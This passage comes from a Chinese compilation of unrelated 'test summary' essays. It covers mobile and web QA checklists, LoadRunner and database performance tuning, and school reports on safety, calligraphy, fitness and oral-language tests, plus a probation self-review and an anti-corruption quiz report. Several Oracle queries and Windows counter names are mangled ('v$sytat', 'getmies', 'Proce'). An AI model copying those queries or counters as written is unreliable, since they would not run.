4） 确定数据展示部分的处理逻辑，是每次从服务端请求，还是有缓存到本地，这样才能有针对性的进行相应测试
5） 检查有数据交换的地方，均有相应的异常处理 Push测试
1） 检查push消息是否按照指定的业务规则发送
2） 检查不接受推送消息时，检查用户不会再接收到push 3） 如果用户设置了免打扰的时间段，检查在免打扰时间段内，用户接收不到push。再非免打扰时间段，用户能正常收到push 4） 需要注意的是，Ios如果是开发刷上来的app，是没有推送的。需要自己网页上下载或者拿到ipa安装包自己使用手机助手安装的才有推送 客户端更新
客户端更新一般是通过与服务器返回的当前版本号比较来判断是否有更新。我们测试模拟更新时，首先要了解到服务端当前版本号(1.0)，然后让客户端打高版本的安装包(2.0)，通知服务端改服务端版本号也改成2.0，把2.0安装包放服务端后。即可开始升级测试。
1） 当客户端有新版本时，有更新提示
2） 当版本为非强制升级版时，用户可以取消更新，老版本能正常使用。用户在下次启动app时，仍能出现更新提示。如果是正式app已经上线，那么升级时一定要考虑老版本是否能正常使用。
3） 当版本为强制升级版时，当给出强制更新后用户没有做更新时，退出客户端或者切换到后台，下次启动app时，仍出现强制升级提示
4） 可以不删除客户端，覆盖安装。覆盖安装后，登录信息都应该保存的。 5） 更新成功后，检查是否是新版本。并且不能再提示升级 免登录
很多应用提供免登录功能，当应用开启时自动以上一次登录的用户身份来使用app 1） 考虑无网络情况时能否正常进入免登录状态
2） 切换用户登录后，要校验用户登录信息及数据内容是否相应更新，确保原用户退出
3） App切换到后台再切换到前台的校验
4） 密码更换后，检查有数据交换时是否进行了有效身份的校验 5） 检查用户主动退出登录后，下次启动app，应停留在登录页面 离线浏览
很多应用会支持离线浏览，即在本地客户端会缓存一部分数据供用户查看。 1） 在无网络情况可以本地浏览本地数据 2） 退出app再开启app时能正常浏览 3） 切换到后台再切回前台可以正常浏览 4） 锁屏后再解屏回到应用前台可以正常浏览
5） 在对服务端的数据有更新时会给予离线的相应提示 时间测试
客户端可以自行设置手机的时区、时间因此需要校验该设置对app的影响。
时间一般需要根据服务器时间再转换成客户端对应的时区来展示，这样的用户体验比较好。 譬如发表一篇微博在服务端记录是10:00，此时，华盛顿时间为22:00，客户端去浏览时，如果设置的是华盛顿时间，则显示发表时间为22：00.
四、零散通用内容测试
1.对模拟键盘的处理，例如键盘展开后，点击其他位置是否正常首期，键盘使用完成后，能否正常收起
2.同事或者快速点击不同的两个按键，检查程序是否正常，此问题经常会crash，或者出现两个功能界面并存的情况 3.较快速点击同一按钮多次，检查程序是否正常，一般情况下需要对按钮做置灰处理，在响应成功之前，只允许操作一次，否则可能会产生重复数据
4.文字特殊符号的展示显示能正常输入，不转义显示，如不会显示成 5.考虑界面的完整性，在界面数据显示宽度上，我们要考虑是自适应，还是自动换行，当自适应的时候，程序会在显示不全的时候自动显示…,此时，就要考虑哪些内容是可以…,哪些内容是必须要完整显示的。
6.字体，颜色，视觉搭配的感观测试也是很重要的一点，如果你感觉看上去很模糊，或者看着很累，说明设计上肯定是存在一定问题
五、问题排查
我们在客户端测试时，经常会碰到程序crash，有的是可以重现的。有的是莫名其妙的闪退
可以找开发debug，譬如ios。连上xcode运行，debug。Ios的话，你的应用的历史crash都是可以在苹果mac机器上看到crash的日志的。
第11篇：LoadRunner测试总结
性能测试（并发负载压力）测试分析－简要篇
在论坛混了多日，发现越来越多的性能测试工程师基本上都能够掌握利用测试工具来作负载压力测试，但多数人对怎样去分析工具收集到的测试结果感到无从下手，下面我就把个人工作中的体会和收集到的有关资料整理出来，希望能对大家分析测试结果有所帮助。
分析原则：
• 具体问题具体分析（这是由于不同的应用系统，不同的测试目的，不同的性能关注点）• 查找瓶颈时按以下顺序，由易到难。
服务器硬件瓶颈-〉网络瓶颈（对局域网，可以不考虑）-〉服务器操作系统瓶颈（参数配置）-〉中间件瓶颈（参数配置，数据库，web服务器等）-〉应用瓶颈（SQL语句、数据库设计、业务逻辑、算法等）注：以上过程并不是每个分析中都需要的，要根据测试目的和要求来确定分析的深度。对一些要求低的，我们分析到应用系统在将来大的负载压力（并发用户数、数据量）下，系统的硬件瓶颈在哪儿就够了。• 分段排除法 很有效
分析的信息来源：
•1 根据场景运行过程中的错误提示信息
•2 根据测试结果收集到的监控指标数据
一．错误提示分析
分析实例：
1 •Error: Failed to connect to server \"10.10.10.30:8080\": [10060] Connection
•Error: timed out Error: Server \"10.10.10.30\" has shut down the connection prematurely
分析：
•A、应用服务死掉。
（小用户时：程序上的问题。程序上处理数据库的问题）
•B、应用服务没有死
（应用服务参数设置问题）
例：在许多客户端连接Weblogic应用服务器被拒绝，而在服务器端没有错误显示，则有可能是Weblogic中的server元素的AcceptBacklog属性值设得过低。如果连接时收到connection refused消息，说明应提高该值，每次增加25％
•C、数据库的连接
(
1、在应用服务的性能参数可能太小了
2、数据库启动的最大连接数（跟硬件的内存有关）)
2Error: Page download timeout (120 seconds) has expired
分析：可能是以下原因造成
•A、应用服务参数设置太大导致服务器的瓶颈
•B、页面中图片太多
•C、在程序处理表的时候检查字段太大多
二．监控指标数据分析
1．最大并发用户数：
应用系统在当前环境（硬件环境、网络环境、软件环境（参数配置））下能承受的最大并发用户数。 在方案运行中，如果出现了大于3个用户的业务操作失败，或出现了服务器shutdown的情况，则说明在当前环境下，系统承受不了当前并发用户的负载压力，那么最大并发用户数就是前一个没有出现这种现象的并发用户数。
如果测得的最大并发用户数到达了性能要求，且各服务器资源情况良好，业务操作响应时间也达到了用户要求，那么OK。否则，再根据各服务器的资源情况和业务操作响应时间进一步分析原因所在。
2．业务操作响应时间：
• 分析方案运行情况应从平均事务响应时间图和事务性能摘要图开始。使用“事务性能摘要”图，可以确定在方案执行期间响应时间过长的事务。
• 细分事务并分析每个页面组件的性能。查看过长的事务响应时间是由哪些页面组件引起的？问题是否与网络或服务器有关？
• 如果服务器耗时过长，请使用相应的服务器图确定有问题的服务器度量并查明服务器性能下降的原因。如果网络耗时过长，请使用“网络监视器”图确定导致性能瓶颈的网络问题
3．服务器资源监控指标：
内存：
1 UNIX资源监控中指标内存页交换速率（Paging rate），如果该值偶尔走高，表明当时有线程竞争内存。如果持续很高，则内存可能是瓶颈。也可能是内存访问命中率低。
2 Windows资源监控中，如果Proce\\Private Bytes计数器和Proce\\Working Set计数器的值在长时间内持续升高，同时Memory\\Available bytes计数器的值持续降低，则很可能存在内存泄漏。
内存资源成为系统性能的瓶颈的征兆:
很高的换页率(high pageout rate);
进程进入不活动状态;
交换区所有磁盘的活动次数可高;
可高的全局系统CPU利用率;
内存不够出错(out of memory errors)
处理器：
1 UNIX资源监控（Windows操作系统同理）中指标CPU占用率（CPU utilization），如果该值持续超过95%，表明瓶颈是CPU。可以考虑增加一个处理器或换一个更快的处理器。如果服务器专用于SQL Server,可接受的最大上限是80-85%
合理使用的范围在60%至70%。
2 Windows资源监控中，如果System\\Proceor Queue Length大于2，而处理器利用率（Proceor Time）一直很低，则存在着处理器阻塞。
CPU资源成为系统性能的瓶颈的征兆:
很慢的响应时间(slow response time)
CPU空闲时间为零(zero percent idle CPU)
过高的用户占用CPU时间(high percent user CPU)
过高的系统占用CPU时间(high percent system CPU)
长时间的有很长的运行进程队列(large run queue size sustained over time)
磁盘I/O：
1 UNIX资源监控（Windows操作系统同理）中指标磁盘交换率（Disk rate），如果该参数值一直很高，表明I/O有问题。可考虑更换更快的硬盘系统。
2 Windows资源监控中，如果 Disk Time和Avg.Disk Queue Length的值很高，而Page Reads/sec页面读取操作速率很低，则可能存在磁盘瓶径。
I/O资源成为系统性能的瓶颈的征兆 :
过高的磁盘利用率(high disk utilization)
太长的磁盘等待队列(large disk queue length)
等待磁盘I/O的时间所占的百分率太高(large percentage of time waiting for disk I/O)太高的物理I/O速率:large physical I/O rate(not sufficient in itself)
过低的缓存命中率(low buffer cache hit ratio(not sufficient in itself))
太长的运行进程队列，但CPU却空闲(large run queue with idle CPU)
4．数据库服务器：
SQL Server数据库：
1 SQLServer资源监控中指标缓存点击率（Cache Hit Ratio），该值越高越好。如果持续低于80%，应考虑增加内存。
2 如果Full Scans/sec（全表扫描/秒）计数器显示的值比1或2高，则应分析你的查询以确定是否确实需要全表扫描，以及SQL查询是否可以被优化。
3 Number of Deadlocks/sec(死锁的数量/秒)：死锁对应用程序的可伸缩性非常有害，并且会导致恶劣的用户体验。该计数器的值必须为0。
4 Lock Requests/sec(锁请求/秒)，通过优化查询来减少读取次数，可以减少该计数器的值。
Oracle数据库：
1 如果自由内存接近于0而且库快存或数据字典快存的命中率小于0.90，那么需要增加
SHARED_POOL_SIZE的大小。
快存（共享SQL区）和数据字典快存的命中率：
select(sum(pins-reloads))/sum(pins) from v$librarycache;
select(sum(gets-getmies))/sum(gets) from v$rowcache;
自由内存：select * from v$sgastat where name=’free memory’;
2 如果数据的缓存命中率小于0.90，那么需要加大DB_BLOCK_BUFFERS参数的值（单位：块）。缓冲区高速缓存命中率：
select name,value from v$sytat where name in (\'db block gets’,
\'consistent gets\',\'physical reads\') ;
Hit Ratio = 1-(physical reads / ( db block gets + consistent gets))
3 如果日志缓冲区申请的值较大，则应加大LOG_BUFFER参数的值。
日志缓冲区的申请情况 ：
select name,value from v$sytat where name = \'redo log space requests\' ;
4 如果内存排序命中率小于0.95，则应加大SORT_AREA_SIZE以避免磁盘排序 。
内存排序命中率 ：
select round((100*b.value)/decode((a.value+b.value), 0, 1, (a.value+b.value)), 2)from v$sytat a, v$sytat b where a.name=\'sorts (disk)\' and b.name=\'sorts (memory)\'
注：上述SQL Server和Oracle数据库分析，只是一些简单、基本的分析，特别是Oracle数据库的分析和优化，是一门专门的技术，进一步的分析可查相关资料。
说明：
以上只是个人的体会和部分资料的整理，并不代表专家之言。算抛砖引玉，有不同看法和更深入的分析的，希望大家勇要发言，以推动我们国内的性能测试工作。
第12篇：安全教育测试总结
九年级安全教育测试总结
生命弥足珍贵，安全重于泰山。为了进一步强化学生的安全意识，加强我校的安全教育，按照县、校要求，我们九年级于1月16至17日进行了安全教育测试，现将有关情况总结如下：
一、测试方案
本次安全测试试题分为单项选择，判断题，以及填空题。内容涵盖了和中学生生活息息相关的诸多方面。同时题型方便学生快速完成，并容易掌握。测试时间30分钟。
二、测试情况
本次测试从元月16日开始，利用自习和课余时间进行了测试，17日全部结束。参加测试的学生共有73名，测试结果A级8名，占测试人数的10%；B级11名，占测试人数的15%；C级51名，占测试人数的54%；D级为3名，占测试人数的5%。
三、成绩和不足
这次安全知识测试，学校、年级组织及时，教师、班主任、学生参与率高。测试中，所有学生能在规定时间内完成测试。完成度较高。
1、大部分学生能快速完成测试，能够积极参与，关注自己的日常安全生活。
2、部分学生对于部分安全知识了解不清楚，有含糊现象。
3、极少数学生对于完成安全教育的测试试题较为吃力，安全意识不够重视。
通过这次测试，我们感到安全教育需要警钟长鸣，还需要我们在以后工作中给予重视，另外，个别笔试成绩优异的学生却口试成绩不理想，也告诫我们，在素质教育和新课改的背景下，我们要重视学生的各方面能力培养，更要注重学生的安全教育，让生命在安全的直线上绽放生命的光彩。
2018年1月18日
第13篇：测试转正总结
在这三个月的时间里，在领导和同事们的悉心关怀和指导下，通过自身的不懈努力，我已经逐渐适应了周围的生活与工作环境，对工作也逐渐进入了状态。在这段过程中，我想分三个阶段来总结我这段时间的工作。
一、萌芽阶段（2013-9-2~2013-10-2）
在这期间，我主要是熟悉日常工作流程和对公司产品的认识。比如现有的测试流程、bug处理流程、业务流等其涉及到的事情比较芜杂，具有较强的随机性，有时急着要同时处理好几件事情，而有时却闲得无聊。并且在这些事情上，都缺乏表面层次性，在没有对其内在属性得到充分了解的情况下，很难通过直观在第一时间内得出比较正确的判断，这些在缺乏经验与对公司整内部运作了解的情况下都是很难把握的。 当然了，在这期间，是我出错的高峰期了，特别是在有些事情的处理上，缺乏一定的灵活性，对有些事情考虑得不够周全，但通过向一些有经验的同事学习，在后期的工作中逐步得到了改善。我这样一个新人，刚进入公司，对一切都充满了陌生和好奇。所以我经常会追着老员工问这问那，他们总是能不胜其烦地解说。从中让我学到了许多自己以前所未学到的东西，而他们都成了我的良师益友。
二、成长阶段（2013-10-2~2013-11-2）
通过对上阶段的工作表现与领导、同事的的指导，在此阶段的工作上作了一定的调整，开始分类进行工作制定每日计划，测试内部工作整改、测试流程整改、业务知识梳理工作等四大类。
在这期间，协助部门领导进行内部整改，让我清楚的看到了自己的不足，并且会向领导、同事及其他相关工作部门的学习，补充自己的不足之处。与专业打交道是一门硬的科学技术，与人打交道则是一门软的思想艺术。这就要求我要两手都要抓，并且两手都要硬。同时，这种精神也深入到测试部的整改中，首先要梳理一套完整的测试流程，不合理之处立刻更正，因为这个问题严重影响测试质量。一旦处于混乱状态，大家就会失去工作的正确方向，更会影响大家的心态，破坏整体性积极性，例如提交bug过程，测试人员提交后还是在自己的名下，那他们的注意力就不会在测试上，而是在bug流程上；
其次对业务知识的梳理，目前大家停留在点上，仅仅是对功能的点熟悉，却不能系统的连接起来，这不利于测试发现更多的问题，我们要时常站在客户的角度去操作系统，这样会提升测试质量水平。
通过不断的优化工作，也看到了相应的成绩，这使我的信心大增。
三、成熟阶段（2013-11-2~2013-12-2）
通过前两个月对工作的不断熟悉与锻炼，对基本工作技能方面有了更进一步的提高，在工作管理上也有了一定的改善。此时新的项目也已启动，测试迫在眉睫，新需求的不断变更、测试用例的不完善，致使讨论新需求和测试用例输出时间紧张，我们在不断的优化，在这期间，整个组内的气氛都是积极的，大家给出了真实、中肯、良好的意见和建议，提高了我们的工作质量。
通过对测试流程、测试用例整改的完善，并在实际工作操作中得以实施，但这不是三分钟热情，在后期的正常整改工作中还要继续实施下去，还要不断的总结经验和教训，提高、提高、再提高。
时光流转间，我已到公司工作三个多月。非常感谢公司领导对我的信任，给予了我体现自我、提高自我的机会。在整个工作过程中，我认为自己工作比较认真、负责、细心，具较强的责任心和进取心，勤勉不懈， 极富工作热情，能完成领导交付的工作。并积极学习新知识、新技能，来提高自己的综合素质，注重自身发展与进步。但也存在着许多缺点与不足：在日常工作中有时不够干练，言行举止没有注重约束自己，且工作主动性发挥的还不够，对工作的预见性和创造性不够，离领导的要求还有一定的距离；但这些缺点与不足，在以后的工作中，缺点加以注意和改正，不足的通过学习充实自己。
在此，我想借此机会，正式向公司领导提出转正申请，希望公司领导能对我的工作态度、能力与表现，以正式员工的要求做一个全面的考量。同时也非常感谢公司领导对我信任，给予我体现自我、提高自我的机会，使我的思想境界、业务素质、工作能力都得到了最大幅度的提高，同时也激励了我在今后的工作中不断前进与完善。
为了企大辉煌的明天，也为了我美好的未来，我愿同企大一起努力！
第14篇：硬笔书法测试总结
东林水小学第一次硬笔书法等级测试总结
今天，我们隆重举行颁奖活动，同时对我校书写工作做阶段性总结。
首先，上周二我校有五名同学参加了北店小学“传承经典，翰墨飘香”书法交流活动，他们是五年级董若兮、六年级许孟袆、董一昂、王若阳、王璨，在现场他们笔直的坐姿展现了东林水小学的风采，他们优秀的作品赢得了与会老师的称赞。在这里对这五位同学进行表彰，东林水小学为你们而骄傲。
在此次书法交流活动中，我校有14名同学的16幅作品参加了展览，东林水小学为你们而骄傲。这些成绩的取得，离不开你们刻苦的练习，更离不开王校长和张老师的精心指导，在此我真诚的说一声：你们辛苦了。
接下来我们请这14位同学上台领奖他们是：
六年级：袁家正
许孟祎
董一昂
刘天乐
王嘉傲
王若阳
王新媛
王露媛
董毅莹
王
璨
王晨晴
五年级：董若兮
王世佳
王天宁 让我们用热烈的掌声请王校长、肖校长为他们颁奖。
接下来请优秀学生代表发言。热烈的掌声有请许孟袆给大家分享写好字的乐趣与经验。
许孟袆用自己的经验告诉我们写一手漂亮字其实并不难，上课认真听老师指导，课下坚持每天练习基本笔画，临摹几行字帖，日积月累就会形成习惯，书写就会进步。现在我校全体师生都在认真练字，上周五我们对全体学生进行了本学期第一次书写等级测试，每个班评选出来五名优秀同学进行表彰，下面请这些同学上台领奖。 六年级：
王紫宁
王一诺
王雨腾
王钰娇
王露翔 五年级： 龙泽雨
李旭然
许玮洁
王安琪
王小阳 四年级：王佳康
王若熙
王禹喧
王佳琪
王钰棋 三年级： 王子怡
董勃绪
李天林
王悦祺
王苗玉 二年级： 王子霄
王艺璇
王子浠
李绍琳
王天朵 一年级： 王佳兴
王子凡
赵蕴祚
兰泽阳
王炜静 请各班班主任为本班学生颁奖。
本次测试，我们对学生执笔坐姿也进行了考核，从老师拍的照片中发现了一些同学执笔错误，希望同学们重视，老师要随时纠正学生错误的姿势，同学之间也要互相帮助，尽快掌握正确的执笔。这次我们也选出了十二名执笔坐姿正确的学生表彰。
五年级 ： 王政宇
王畅
李璨璨
赵冠宇 四年级： 一年级：
最后颁发集体奖,六年级同学在我校书法工作中表现突出,有11名同学参加乡作品展览,40名同学书法测试获得B级以上,四名同学参加乡书法交流现场展示,你们为全校学生树立了榜样,东林水小学为你们而骄傲,希望你们继续努力.请肖校长位你们办法奖状,两个学生代表上台领奖.同学们, 通过这次测试我们看到了进步,希望大家向着我们的目标\"人人写好字,人人好写字”继续努力.最后给大家提几点建议: 一选好比很重要,三至六年级选用0.5的碳素笔,一二年级选用HB的铅笔.二每天坚持练习是关键,基本笔画先过关.三仔细观察字帖,临帖就是要和字帖中的字一样.四是不能出现错字,一幅作品写完后一定要认真检查,出现错字就得重新写.同学们,向着我们的目标\"人人写好字,人人好写字”继续努力.期待你下次取得好成绩.
第15篇：体育测试总结
学生体质健康测试工作总结
为贯彻落实学校体育“健康第一”的指导思想，切实加强学校体育工作的具体体现，我校十分重视《学生体质健康标准》实施和测试工作，对全校学生进行了体育项目测试，并将测试数据上报，现将实施工作总结如下：
一、积极宣传，加强培训，提高工作质量
开学初，组织各年级体育教师进行培训，明确各年级测试项目，
测试步骤和操作细则，并要求体育教师对各班进行《标准》的测试 项目及锻炼方法的宣传教育，让他们认识《标准》实施办法的重要性和必要性，学校还把《标准》工作方案复印给各班，让学生了解 测试达标要求来督促自已平时积极主动地锻炼身体
二、组织测试，保障安全
1.在测试前，对学生进行身体健康情况的摸底调查，有计划、有组织地安排测试，并对测试仪器调试、场地、设施以及环境的布置 和安排进行排查，制订详细的测试细则和安全措施，指导受试者做 好充分的预备活动等。
2.对各年级的测试项目都做了统一的规定，身高、体重为各年级的必测项目，其他年级测试项目为：
一、二年级测试50米、坐位体前屈、一分钟跳绳、肺活量。
三、四年级为一分钟仰卧起坐、一分钟跳绳、50米、坐位体前屈、肺活量。
五、六年级为肺活量、坐位体前屈、50米*8往返跑、一分钟仰卧起坐、一分钟跳绳。在测试过程中，充分发挥体育骨干的作用，使学生能安全有序地完成测试任务。对成绩不合格和请假学生进行补测工作。
3.在测试过程中，学生态度端正，认真测试，各项测试成绩很正常。但是也有一小部分学生抱着好玩的心态。高年级学生对耐力项目50米*8往返跑的测试有偷懒的现象，导致50米*8往返跑的成绩较低，但学生对绳感兴趣，成绩较好，总的成绩还是能够达到98%的及格率
三、数据整理上报
在测试全部结束后，对数据进行整理、分析并上传，实事求是地向学生反馈，所有工作按时完成，测试数据真实、准确无误并及 时完成数据的上报工作。
四、学生体质健康测试实施情况总结反思
这次体质健康测试，从分布任务到测试完成，时间紧，任务重，没有全体的力量是不可能在短期内对如此多的学生进行测试。同时积极发动，精心组织，合理安排是做好这项重要工作的保证。在这 次测试过程中虽然取得了一些成绩，但也存在着不足，争取在以后 的工作中克服不足，发扬长处，再上新高。
第16篇：WEB测试总结
WEB测试总结 (架构,设计)精华部分
1、总计架构测试
1）瘦客户端，业务逻辑规则多数在服务器端执行。如新闻站点、门户网站、信息发布网站等。
2）胖客户端，安全性要求较高、交互操作频繁、业务逻辑复杂。银行系统、网络游戏、网上办公系统等。
2、Web架构组成部分是否满足需求
成本、功能、安全性要求、容量要求、传输实时性。
3、服务器配置分布是否满足要求
Web服务器、应用服务器、数据库服务器可以分布在不同物理机器上也可以分布相同的物理机器上，一般优先考虑独立数据库服务器，Web服务器、应用服务器可以在相同的机器上。
4、客户端设计测试
1）功能设置测试：信息服务、办公自动化、Internet支持； 2）信息组织结构测试：线性结构、分层结构、非线性结构； 3）页面设计测试：a.页面一致性测试
b.用户界面友好性及导航直观性测试；、c.是否适合多种浏览器； d.页文件的命名； e.页面布局技术。
5、服务器端设计测试
1）容量规划测试：点击率、延迟和流量、服务器资源；
2）系统安全测试：a.常识性安全策略，取消不必要的协议、控制写权限、取消服务器目录浏览属性、记录日志等； b.使用加密技术；
c.构造防火墙，网络级、应用级、电路级； d.构建网络防毒体系。 3）数据库设计测试。
6、Web开发测试
1）源代码分析，主要是使用检查工具来完成； 2）链接测试，主要借助工具来完成； 3）框架测试：a.自动调整窗口大小； b.是否提供滚动条；
c.打开新页面是否正常。 4)表格测试，随窗体变化自动调整大小； 5）图形测试：a.颜色饱和度及对比度； b.链接标识；
c.图形显示是否正确。
1、与一般应用软件相比，Web测试有以下区别：
第一、Web测试的侧重点是性能、安全、易用性、兼容
第二、测试工具有所不同，如链接测试、表单测试、界面测试
2、功能测试
一、客户端的选择，优先测试流行的客户客户端；
二、客户端浏览器的配置
三、客户端的显示设置
四、内容测试
3、链接测试
一、该链接将用户带到它所说明的地方
二、被链接的页面是存在的
三、保证没有孤立页面
工具有WEBCHECK、LINKBOT、TESTPARTNER、XENU等
4、链接测试工具的优势：
一、简单易用
二、在实现上采用多线程技术，检查速度特别快；
三、对断开的链接可以再次测试，可以避免误判；
四、没有检查链接的数量限制，只受系统资源的约束；
五、可以分析Web应用的结构；
六、检查结果可以分类查看，自动生成HTML格式的报告；
5、Web应用链接主要测试点如下
一、测试内部链接和外部链接中成功和失败的链接点，以及应用中不被其他链接调用的页面；
二、测试链接中新网页、老网页、慢网页以及丢失的图象标题标签和属性标签等；
三、分析Web应用的结构是否合理，包括显示和某个URL相关的链接以及按照标题、描述、作者、大小、最后修改时间、类型为URL链接分类等。
6、易用性测试
易用性测试要考虑以下几个方面： 1）用户的计算机使用经验；
2）用户对浏览器以及Web的使用经验； 3）用户的业务专业知识。
7、Web系统的易用性测试分为三个方面： 1）界面测试
2）辅助功能测试 3）图形测试
一、界面测试要考虑以下几个问题 A．WEB应用系统的最终用户群是谁？ B．WEB应用界面的设计策略是什么？ C．页面中各元素布局的协调性 a.各元素位置的协调性 b.各元素颜色的协调性
c.各元素大小比例的协调性 D．不同页面风格的统一性
E．用户在界面中操作的便利性 F．界面动态操作测试
a.屏幕分辩率设置的影响
b.浏览窗口最大化/最小化的影响 c.选定目标元素的置中与缩放
二、辅助功能测试 A．使用说明，这个没有多大意义，WEB网页按F1弹出来的页面都是IE的帮助页面，除非有特定的帮助说明内容； B．导航功能 C．站点地图
D．帮助，这个没有多大意义，WEB网页按F1弹出来的页面都是IE的帮助页面，除非有特定的帮助说明内容；
第17篇：英语口语测试总结
英语口语测试总结
为了达到素质教育的人才培养目标，课程改革逐步落到了实处，我校在环翠区统一组织安排下，对初四学生进行了英语口语测试。此次英语口语测试共检测了三个部分：教师提问、朗读短文、口头作文。我校全部九位英语老师担任了口语测试的评分老师，分三组对学生进行了测试。现对这次口语测试做一个总结：
1.
学校对这一次口语测试相当重视、准备充分，组织有序；大部分考 生表现良好，能按要求准备话题，发音准确，有较好的语音语调，表达自如、语言流利，A等级达到90%以上。
2.
大部分学生在回答问题时，信心十足，声音洪亮，对英语的学习充 满自信。
3.
三个部分的测试中，第三部分的口头作文测试不够理想，普遍存在 时态问题，如在表达my family时有同学表述为my father very like playing football，应该是my father likes playing football very much.有语法上的混淆，也有汉语的思维习惯。
4.
英语口语存在两极分化和发展不平衡的现象。有的同学笔试成绩很 出色，但是口语发音却极不准，究其原因是因为平常只注重了笔头，而忽视了口头。当然还有很多表现优异的学生，如5班的夏鹏飞同学在谈到my dream job的时候，说他想当一名像Kobe，James那样的职业篮球运动员，叙述中思路清晰，旁征博引，眼界开阔，可谓精彩。4班夏川谈到my life in 10 years的时候，对未来的生活做出了切实精彩的计划和猜想。1班的曲莹莹同学用真切的语气叙述了和她my friend之间的故事，给老师们留下了深刻的印象。 虽然大部分学生的英语口语水平不错，但每个班仍有一至二人基础较差。
5.
教学建议：
（1）.加强单词、课文的领读教学，培养学生的朗读习惯、多用录音跟读,引导学生学习连读、失去爆破等发音方法。
（2）.课堂多用英语教学，培养学生听和说的能力，把Chinglish变为English，夯实基础知识。
（3）.尽量调动所有学生的学习热情，重视对学习英语困难学生的自信心培养和个别辅导。
总之，这次测试让每位老师认识到帮助学生树立信心，实现英语的实用性的重要性，认识到语言的教学，不管教什么，怎么教，一定要帮助学生把好基础关，没有基石，不可能有大厦，更不可能有理想的放飞，而这些，都将从帮助我们的学生大声地朗读
开始，从口语开始
第18篇：口语测试总结
育新小学2010～2011学年度第二学期
1～5年级口语测试总结
一、测试目标
1、通过对学生朗读和背诵的测试，掌握学生朗读和背诵的能力，以使进一步提高学生朗读和背诵的水平。
2、通过对学生的口语交际的测试，了解学生口语交际的情况，以便更好的培养学生的口语交际能力。
二、测试标准
1、能正确使用普通话，读背课文不添字、不漏字、不读错别字，语速适中，有节奏感。读背通顺流利、要有感情、有动作。
2、说话要有主题，意思清楚，有创意，符合儿童特点，能使用普通话，语言流畅，故事性强，有情趣，时间不少于1分钟。
三、口语测试内容
1、背诵部分为书本上要求背诵的内容或单元练习中的诵读与积累。
2、口语交际部分，每个单元的“口语交际”，介绍一个小动物（人）等。
四、测试安排
1、时间：2011年6月20——2011年6月24
2、方式：分低、中、高年级分组进行。
五、测试情况分析
1、学生都能正确使用普通话朗读、背诵，语速适中，有节奏，
通顺流利，而且还能加上一定的动作，想象力丰富。
不足之处：有的学生有漏字。错字现象，声音小，感情表达不够充分。
2、学生口语交际，谈话有主题，思路清晰，符合儿童特点，能用普通话，语言较流畅。
不足之处：个别学生说话的声音较小，不大胆，故事性不强，缺情趣，没创意。
六、存在的问题及原因
1、受学生自己的不利口语交际能力发展的性格因素影响。如性格内向胆小学生，害怕和人交际，和人说话会出现胆怯现象。
2、受自身知识量、感知面的影响。
3、受特定场合的影响。此次抽查给学生的交谈设置在一个特定的场合，让学生有陌生感，严肃感，这多多少少会影响学生口语交际能力的正常发挥。
4、受不良成长环境的影响。如学生经常处于这样的人文环境下：口齿不清，发音不准；语言支离破碎，缺乏条理；不分场合，高声喧哗；别人谈话，随意插言；惯说脏话，满嘴带刺；道听途说，广为传播；卖弄新词，胡乱用语；信口开河，自吹自擂„„那么，学生的口语交际能力所呈现的情况也将如此。
七、改进措施
1、提高口语交际教学认识。
我们已进入21世纪，未来社会对人的素质将会有更高的要求，
特别需要的是每个人有较强的口语交际能力。因此，进行口语交际训练是素质教育的重要内容，是语文教学义不容辞的职责。我们语文教师，应该认识到 “口语交际”教学不仅仅是依靠口语进行双向或多向的信息交流的一种活动 ，它除了具备听话、说话的能力外，还有与人交往能力、待人处事能力、生存能力等。因此，作为一名语文老师，应该着眼于学生的明天，为学生将来发展着想，从思想上重视对学生进行口语交际训练，并想方设法在教学实践中落实口语交际教学，使学生真正具备口语交际的本领。
2、补充口语交际训练内容。
3、遵循口语交际教学原则：
交流互动的原则、激发兴趣的原则、及时评价的原则。
4、改革口语交际训练方式。
5、改进评价的方法。
评价学生的口语交际能力，应重视考察学生的参与意识和情意态度。评价必须在具体的交际情境中进行，让学生承担有实际意义的交际任务，以反映学生真实的口语交际水平。改换“纸上说话”的评价方式，将在学生真正的口语交际活动中对学生进行本真的“口语交际”考评。
总之，全面提高学生的口语表达能力已显得十分重要。我们知道，冰冻三尺非一日之寒，提高学生的口语表达能力亦非一日之功。只要我们坚持不懈，不断探索，总结经验、我们的口语教学就会迈上一个新台阶。
城关镇育新小学
口
语
测
试
总
结
2010～2011学年度第二学期（
2011.7 1～5年级）
第19篇：廉政测试总结
第十六个党风廉政教育月组织党员
干部廉政法规知识测试总结
一、党员干部廉政法规测试基本情况。
今年7月是我市第十六个党风廉政教育月，教育月主题是“严明政治纪律、加强作风建设、为维护新疆社会稳定和实现长治久安提供坚强保障”。
市纪委监察局根据教育月专题学习要求，结合本单位在职党员干部的实际，在“吐鲁番市党建网”，由各机关单位党员干部下载测试题，统一组织党员干部答题，截止目前，共收回有效答卷50份，平均成绩90.1分。市纪委监察局党员干部的测试成绩已汇总完毕，上报市纪委干部教研室。
二、党员干部廉政法规测试反馈成绩达到新高度。市纪委监察局党员干部通过这次测试，不仅是对我们纪检监察干部业务水平的一次检验，更是对今后的工作提出了更高的要求，纪检监察干部要认真履行监督职责与主动接受监督相统一，推动反腐倡廉建设逐步由侧重遏制向惩防并举、重在建设转变，由侧重事后“亡羊补牢”向事前预警防控转变，由侧重监督约束干部向监督干部与保护激励干部相结合转变，由侧重为干部设置“高压线”向注重营造干事创业“安全区”转变。
在总结成绩的同时，我们也要清醒地看到，当前腐败现 1
象在一些领域和部位依然易发多发，滋生蔓延的势头还没有从根本上得到遏制；损害群众利益的不正之风还时有发生，有的还引发群体性事件，影响了社会和谐稳定；少数党员干部还存在作风不实问题，人民群众反映比较突出；有的反腐倡廉法规制度不健全、不完善，有的政策措施落实不到位。
随着纪检监察工作涉及的领域越来越广、要求越来越高、难度越来越大，纪检监察机关的机构设置、人员编制、干部知识能力结构以及管理体制和运行机制等方面还存在不适应的问题。此外，在具体工作中还存在对有些工作的指导和督办不够有力，与有关部门的协作配合机制不够健全，对一些难点问题及其原因调查研究不够深入等问题。对这些问题，我们要高度重视，采取措施认真加以解决。
三、要把抓紧解决反腐倡廉建设中群众反映强烈的突出问题作为全年工作的重点任务。
